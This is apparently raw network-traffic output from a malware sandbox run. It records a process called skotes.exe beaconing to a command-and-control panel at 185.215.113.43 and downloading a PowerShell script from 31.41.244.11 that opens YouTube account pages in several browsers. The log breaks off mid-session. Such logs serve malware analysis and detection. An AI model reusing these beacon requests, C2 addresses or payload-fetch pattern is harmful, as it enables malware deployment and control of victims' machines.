Nov 24, 2024 04:23:07.287480116 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 04:23:08.669054985 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 03:23:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49829	185.215.113.43	80	6480	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 04:23:10.412559032 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 04:23:11.789474964 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 03:23:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49835	185.215.113.43	80	6480	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 04:23:13.411937952 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 04:23:14.804477930 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 03:23:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49845	185.215.113.43	80	6480	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 04:23:16.555042982 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 04:23:17.942996979 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 03:23:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49852	185.215.113.43	80	6480	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 04:23:19.568445921 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 04:23:20.991950035 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 03:23:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49860	185.215.113.43	80	6480	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 04:23:22.767556906 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 04:23:24.172292948 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 03:23:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49869	185.215.113.43	80	6480	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 04:23:25.802851915 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 04:23:27.196854115 CET	307	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 03:23:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 35 0d 0a 20 3c 63 3e 31 30 30 38 36 31 35 30 34 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 39 65 32 65 63 30 31 35 31 64 65 62 30 62 62 33 31 66 31 36 30 33 37 65 61 39 66 62 63 36 32 31 38 35 61 36 39 61 34 30 33 64 62 32 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 75 <c>1008615041+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9e2ec0151deb0bb31f16037ea9fbc62185a69a403db2#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49872	31.41.244.11	80	6480	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 04:23:27.324986935 CET	66	OUT	GET /files/5124158732/KQGBYWk.ps1 HTTP/1.1 Host: 31.41.244.11
Nov 24, 2024 04:23:28.706799984 CET	393	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 03:23:28 GMT Content-Type: application/octet-stream Content-Length: 132 Last-Modified: Sun, 24 Nov 2024 03:23:21 GMT Connection: keep-alive ETag: "67429c29-84" Accept-Ranges: bytes Data Raw: 24 75 72 6c 20 3d 20 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 6f 75 74 75 62 65 2e 63 6f 6d 2f 61 63 63 6f 75 6e 74 22 0d 0a 0d 0a 53 74 61 72 74 2d 50 72 6f 63 65 73 73 20 22 63 68 72 6f 6d 65 22 20 24 75 72 6c 0d 0a 53 74 61 72 74 2d 50 72 6f 63 65 73 73 20 22 6d 73 65 64 67 65 22 20 24 75 72 6c 0d 0a 53 74 61 72 74 2d 50 72 6f 63 65 73 73 20 22 66 69 72 65 66 6f 78 22 20 24 75 72 6c 0d 0a Data Ascii: $url = "https://www.youtube.com/account"Start-Process "chrome" $urlStart-Process "msedge" $urlStart-Process "firefox" $url

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49881	185.215.113.43	80	6480	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 04:23:30.742819071 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 36 31 35 30 34 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008615041&unit=246122658369
Nov 24, 2024 04:23:32.129414082 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 03:23:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49892	185.215.113.43	80	6480	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 04:23:34.063158035 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 04:23:35.452492952 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 03:23:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49914	185.215.113.43	80	6480	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 04:23:37.351078987 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 04:23:38.770644903 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 03:23:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49931	185.215.113.43	80	6480	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 04:23:40.592847109 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 04:23:41.958887100 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 03:23:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49950	185.215.113.43	80	6480	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 04:23:43.599409103 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 04:23:44.943346977 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 03:23:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49967	34.107.221.82	80	2928	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 04:23:44.434508085 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 24, 2024 04:23:45.575685024 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 17:38:12 GMT Age: 35133 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 24, 2024 04:23:46.529522896 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 24, 2024 04:23:46.853378057 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 17:38:12 GMT Age: 35134 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49984	34.107.221.82	80	2928	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 04:23:46.726955891 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49983	185.215.113.43	80	6480	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 04:23:46.730185986 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 04:23:48.136795998 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 03:23:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49995	34.107.221.82	80	2928	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 04:23:47.452491045 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 24, 2024 04:23:48.756683111 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 08:50:47 GMT Age: 66781 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	50005	34.107.221.82	80	2928	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 04:23:48.398866892 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 24, 2024 04:23:49.577013016 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 74152 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 24, 2024 04:23:56.641906023 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 24, 2024 04:23:56.975028992 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 74159 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 24, 2024 04:23:57.652781963 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 24, 2024 04:23:57.985636950 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 74160 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 24, 2024 04:23:58.645068884 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 24, 2024 04:23:58.979111910 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 74161 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 24, 2024 04:24:02.372347116 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 24, 2024 04:24:02.706365108 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 74165 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 24, 2024 04:24:09.919661999 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 24, 2024 04:24:10.252551079 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 74173 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	50013	34.107.221.82	80	2928	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
